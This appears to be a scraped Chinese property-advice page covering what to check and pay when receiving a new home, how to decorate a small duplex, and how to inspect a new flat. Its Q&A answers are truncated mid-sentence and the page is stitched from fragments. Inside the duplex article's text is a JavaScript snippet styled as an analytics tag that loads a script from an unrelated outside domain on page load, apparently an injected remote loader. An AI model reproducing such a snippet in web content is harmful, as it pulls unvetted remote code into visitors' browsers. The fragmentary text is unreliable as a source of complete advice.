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成荣轩
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田飞文 有用 1
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问精装收楼要注意什么?收楼的时候要准备什么工具?
答精装要求“精致、融合”,同时不失主人公的地位、身份,以及个性和品味。精装房注重的是每一个细节部分的推敲,都很讲究。在入住前精装房的收房也是很关键的一步,通常
问收房时要交什么费用?交费需要注意什么事项?
答收房已经是一个关键的步骤了,但是越到关键之处我们越需要好好对待,交房的时候要交纳物业费、办证费还有评估费等多项费用,并且在交费时还有很多事项需要注意。一、收
问收楼的流程是什么?收楼时需要注意哪些细节问题?
答事实上,咱们这里所说的收楼便是接房,便是指在规定的接房日期时,业主从开发商手中接收自己购买房屋的一种行为。当然,接收房屋并非只是简单的接收而已,作为业主,还
问收楼需要注意什么?收楼的流程是什么?
答我们这里所说的收楼,其实就是收房的意思。在现实生活中,不少朋友购买的都是期房,也就是正在建设中的房屋,虽然有样板房作为参考,虽然有逼真的模仿还原,但是若是购
问收楼的时候要注意什么问题?收楼出现面积问题要怎么处理?
答收楼的时候大家肯定比较激动,但是收楼一定不能马虎,收楼时要注意的问题还真不少,不仅仅是质量的问题,还有相关证书,和注意事项都需要关注。如果您在收房期间发现有
收房时要交什么费用?
(一)买商品房需要交的税: 1、契税,购房总价的3-5%(不同的省市自治区税率不同),普互市品住宅减半,即1.5-2.5%。 2、印花税,购房总价的0.05% (二)基金: 1、房屋维修基金,购房总价的2-3%,大多数地方是2% 2、副食物价格调节基金,2元/平方米,有些地方不用 (三)规费 1、交易费 ,购房总价的0.5% 买卖双方各交0.25%,(住宅3元/平方米,由开发商交,购房者不用交) 2、《房屋所有权证》工本费 , 各地不一样,但是都不超过100元 3、《土地使用权证》工本费, 各地不一样,但是都不超过100元 (四)假如按揭,还要发生以下用度 1、评估费,购房总价的0.2-0.5% 2、保险费 ,购房总价乘以贷款年限乘以0.1%乘以50% 3、公证费,贷款额乘以0.03% 4、典质登记费,100元 相关阅读:收房时要交哪些费用 北京收房费用
装修小复式楼的时候都需要注意什么
现在人们买房的压力比较大,大平米的房子价格不菲,所以不少人都选择购买小型的复式楼,但很多的业主对于装修小复式楼这件事都没有什么经验,这篇文章就来具体说一说,在装修小复式楼的时候,都有哪些问题是需要各位业主注意的。1、一定要找专业的装修公司装修小复式楼的时候,一定要找专业的装修公司,在装修房子的时候,很多业主为了节省资金,只是单独雇佣几个工人,就不找装修公司了,但如果大家是购买的小复式楼,那可不能这么做了,因为复式楼是把一个空间分为两层,做二层隔断必须要由专业的施工人员来操作,否则会有很大的安全隐患,大家一定要找正规的装修公司来进行装修。2、设计楼梯时要兼顾美观度和安全性装修小复式楼的时候,在设计楼梯这件事情上要注意要把美观度和安全性结合起来考虑,首先复式楼的楼梯会起到很重要的装饰作用,一定要美观一些,一般建议大家做实木楼梯或者是大理石的楼梯,其次为了以后生活的安全性,家里的楼梯不能设计的太陡了,楼梯的坡度要平缓一些。3、注意观察二楼的采光度装修小复式楼的时候,还要注意观察一下二楼的采光度怎么样,一般情况下,复式楼二层空间的采光度都不是很好,与一楼相比都会稍微暗一些,所以在装修的时候,二楼尽量不要放太笨重的家具,尤其是二楼的窗户旁尽量不要摆家具,以免遮挡阳光。装修小复式楼会稍微复杂一些,像是文中提到的几点注意事项,业主们在装修的时候要多加留意,为了装修出令自己满意的效果,业主们也可以在装修前,多查阅一些关于复式楼的装修小知识。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
新房子验收的时候需要注意些什么
现在很多年轻人都通过自己的奋斗买上了房子,不过新房子验收是有很多注意事项的,这篇文章就具体说一说,新房子验收都有哪些地方是需要大家注意的。1、仔细测量一下房子的面积新房子验收时,要检查好房子的面积,业主在验房时,要随身携带一把卷尺,自己先把房子的面积量一遍,看一看与合同上标注的住房面积的是否有差别,如果两者的面积不一样就不能收房,要和开发商协调解决。2、检查门窗的密封性新房子验收时,要认真检查一下新房的门窗,首先看看房子的窗户有没有缝隙,如果窗户在关闭的状态下还有缝隙,就说明窗户密封性不好,在装修的时候要重新定做,避免雨季出现漏雨的现象,然后再检查一下新房的门是否有划痕和破损的地方。3、查看墙面是否有裂痕新房子验收时,要对房子的墙壁进行检查,业主可以带一个小锤子,轻轻的对墙面进行敲击,如果听到空洞的响声,就说明这块墙面是空心的,业主可以通知开发商进行修补,否则以后装修时空心墙是贴不牢瓷砖的。4、检查下水道是否通畅新房子验收时,不要忘记检查新房的下水道,有很多新房的下水道在施工时,会掉入装修材料或是其他异物,如果在验房时没有对下水道进行检查,在装修时才发现下水道不通畅,会拖慢装修进度,业主可以验房时准备一个闲置的水桶,流满水后倒入新房的下水道里,没有水溢出就说明下水道没有堵塞。新房子验收看起简单,其实要操心的事非常多,一旦收了房再发现问题,就得住户自己承担解决了,大家在验房的时候,一定要着重注意文中提到的这几个方面。
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